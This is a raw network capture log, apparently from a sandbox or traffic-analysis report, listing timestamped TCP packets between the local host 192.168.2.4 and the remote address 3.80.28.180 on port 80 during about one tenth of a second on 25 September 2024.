Sep 25, 2024 03:51:27.689773083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689822912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689855099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689867020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.689961910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.689994097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690010071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690032959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690085888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690090895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690124035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690166950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690538883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690592051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690622091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690645933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690670967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690704107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690736055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690740108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690783978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690797091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690815926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690849066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690880060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690887928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690916061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690928936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.690952063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690984011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.690990925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691015005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691075087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691098928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691131115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691163063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691180944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691194057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691226006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691241980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691258907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691303968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691349030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691380978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691430092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691431046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691464901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691500902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691520929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691533089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691565037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691576004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691598892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691651106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691678047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691710949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691741943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691761017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691791058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691823006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691842079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691854000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691884995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691899061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.691917896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691950083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.691973925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692222118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692254066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692274094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692286015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692317963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692337036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692349911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692382097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692398071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692414045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692445040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692461014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692476034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692507029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692526102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692538977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692569971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692596912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692600965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692636013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692651987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.692961931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.692998886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693027973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693032026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693062067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693080902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693094015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693125010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693140030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693156958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693188906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693212986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693221092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693252087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693267107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693288088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693320036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693332911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693351030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693384886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693398952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693583012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693614006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693634033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693646908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693677902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693706036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693710089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693742037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693762064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693773985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693804979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693823099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693839073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693866968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.693890095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.693989992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694020987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694040060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694052935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694101095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694103956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694137096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694168091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694192886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694200039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694231033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694256067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694262028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694295883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694305897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694328070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694359064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694372892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694391012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694422960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694434881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694454908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694488049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694499969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.694519043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694550991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.694561958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.729257107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729378939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729415894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.729432106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729464054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729485989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.729511976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729543924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729569912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.729578018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.729641914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.780339003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780415058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780443907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780492067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780498981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.780524015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780566931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.780572891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780618906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.780623913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780658007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780714989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.780885935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780917883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780950069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.780968904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781033993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781065941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781084061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781097889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781131983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781148911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781164885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781208992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781618118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781651020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781682968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781699896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781732082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781763077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781784058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781795979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781827927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781862020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781872988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781909943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.781944036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.781975031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782006979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782036066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782069921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782102108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782128096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782133102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782166004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782187939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782198906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782233000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782258987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782264948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782298088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782310009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782397985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782430887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782450914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782463074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782494068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782515049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782583952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782633066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782696009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782727003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782757998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782783985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782789946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782824039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782843113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782856941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782888889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782900095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782919884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782953024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.782960892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.782985926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783029079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783076048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783107996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783139944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783155918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783174038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783212900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783219099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783243895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783278942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783289909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783310890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783343077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783354998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783421993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783454895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783472061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783487082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783519983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783536911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783554077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783586025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783602953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783617973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783649921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783668041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.783682108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783719063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.783730030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784197092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784229040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784249067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784260988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784293890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784308910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784327030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784358978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784373045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784390926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784421921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784439087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784454107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784485102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784502983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784518957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784559011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784575939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784593105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784626007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784640074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784660101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784692049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784708023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784725904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784759045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784775019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.784794092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.784854889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785047054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785096884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785129070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785142899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785161018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785192966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785209894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785227060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785259008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785275936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785291910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785324097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785337925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785356998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785388947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785403013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785422087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785454035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785476923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785485983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785517931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785547972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785551071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785583019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785614014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785646915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785648108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785670042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785680056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.785748005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.785813093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.818994045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819050074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819071054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.819101095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819137096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819153070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.819170952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819204092 CEST	80	49730	3.80.28.180	192.168.2.4
